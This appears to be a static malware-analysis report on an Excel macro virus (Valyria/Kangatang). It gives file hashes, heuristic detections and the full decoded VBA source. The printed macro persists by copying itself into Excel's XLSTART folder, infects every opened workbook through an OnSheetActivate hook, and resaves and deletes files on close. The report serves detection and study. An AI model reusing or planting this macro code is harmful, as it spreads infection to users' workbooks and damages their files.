Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 c006705788c1199b…

MALICIOUS

Office (OLE) / .XLS

44.5 KB Created: 2024-12-27 09:57:48 Authoring application: Microsoft Excel First seen: 2026-06-17
MD5: ab181795a1f86d2653634d1c1ff14e50 SHA-1: 000002797fad9617f2fb8492de8b35a2f1837683 SHA-256: c006705788c1199b6f2cdb0fea0ba0ef27847d5cdc8b4f57098770faa4d54c86
216 Risk Score

Heuristics 7

  • ClamAV: Doc.Virus.Valyria-10004393-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Virus.Valyria-10004393-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set jbxinstr = CreateObject("Scripting.FileSystemObject").CreateTextFile("Z:\syscalls\0_" & Int(Rnd * 10000 + 10000) & ".vba.csv", True, True)
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
      If ThisWorkbook.Path <> Application.StartupPath Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
      Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4309 bytes
SHA-256: 31b941d8124fa42ca6c0ccbb0575ad2454a8d3a87a05060703b72f802b8ba6a4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Dim jbxXmlOb As Object
Dim jbxXmlNodeOb As Object
Dim jbxB64Array() As Byte
Private jbxstatic_Auto_Open_9306 As Boolean
Private jbxstatic_Auto_Close_6 As Boolean
Private jbxstatic_allocated_9555 As Boolean
Dim jbxinstr As Object
Private Sub JbxInit()
  If jbxinstr Is Nothing Then
    Randomize
    Set jbxinstr = CreateObject("Scripting.FileSystemObject").CreateTextFile("Z:\syscalls\0_" & Int(Rnd * 10000 + 10000) & ".vba.csv", True, True)
    Set jbxXmlOb = CreateObject("MSXML2.DOMDocument")
    Set jbxXmlNodeOb = jbxXmlOb.createElement("b64")
  
  End If
End Sub
Private Function JbxB64Encode(ByVal arrData As String) As String
  jbxB64Array = StrConv(arrData, vbFromUnicode)
  jbxXmlNodeOb.dataType = "bin.base64"
  jbxXmlNodeOb.nodeTypedValue = jbxB64Array
  JbxB64Encode = Replace(jbxXmlNodeOb.Text, vbLf, "")
End Function
Private Sub JbxClose()
  If Not jbxinstr Is Nothing Then
    jbxinstr.Close
    Set jbxinstr = Nothing
  
  End If
End Sub
Private Sub JbxLogParam(ByVal paramName As String, ByVal param)
  Dim jbxErrNum, jbxErrDesc
  jbxErrNum = Err.Number
  jbxErrDesc = Err.Description
  JbxInit
  jbxinstr.Write "param:" & paramName & ":type:" & TypeName(param) & ":value:"
  On Error Resume Next
  If TypeName(param) = "String()" Then
    jbxinstr.Write JbxB64Encode(Join(param, " "))
  
    Else
    jbxinstr.Write JbxB64Encode(param)
  
  End If
  Err.Number = jbxErrNum
  Err.Description = jbxErrDesc
  jbxinstr.WriteLine ""
End Sub
Private Function JbxLog(ByVal str As String) As Boolean
  JbxInit
  jbxinstr.WriteLine str
  JbxLog = True
End Function
Private Function JbxHook_Replace_3_(jbxline, ByRef jbxparam0, ByRef jbxparam1, ByRef jbxparam2)
  Static jbxtresh_Replace As Integer
  If jbxtresh_Replace < 200 Then
    JbxLog "api:" & jbxline & ":Replace"
    JbxLogParam "jbxparam0", jbxparam0
    JbxLogParam "jbxparam1", jbxparam1
    JbxLogParam "jbxparam2", jbxparam2
  
  End If
  JbxHook_Replace_3_ = Replace(jbxparam0, jbxparam1, jbxparam2)
  If jbxtresh_Replace < 200 Then
    jbxtresh_Replace = jbxtresh_Replace + 1
    JbxLogParam "jbxreturn", JbxHook_Replace_3_
  
  End If
End Function
Sub Auto_Open()
  If Not jbxstatic_Auto_Open_9306 Then
    jbxstatic_Auto_Open_9306 = JbxLog("function:Auto_Open")
  
  End If
  Application.EnableCancelKey = xlDisabled
  Application.DisplayAlerts = False
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
  
  End If
  Application.OnSheetActivate = ""
  Application.ScreenUpdating = True
  Application.OnSheetActivate = "mypersonnel.xls!allocated"
  JbxClose
End Sub
Sub Auto_Close()
  If Not jbxstatic_Auto_Close_6 Then
    jbxstatic_Auto_Close_6 = JbxLog("function:Auto_Close")
  
  End If
  On Error Resume Next
  Application.DisplayAlerts = False
  If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then
    JbxClose
    Exit Sub
  
  End If
  ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & JbxHook_Replace_3_(26, ThisWorkbook.Name, ".xlsx", ".xls"), FileFormat:=xlExcel8, Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False
  Kill ThisWorkbook.Path & "\" & JbxHook_Replace_3_(29, ThisWorkbook.Name, ".xls", ".xlsx")
  JbxClose
End Sub
Sub allocated()
  If Not jbxstatic_allocated_9555 Then
    jbxstatic_allocated_9555 = JbxLog("function:allocated")
  
  End If
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  
  End If
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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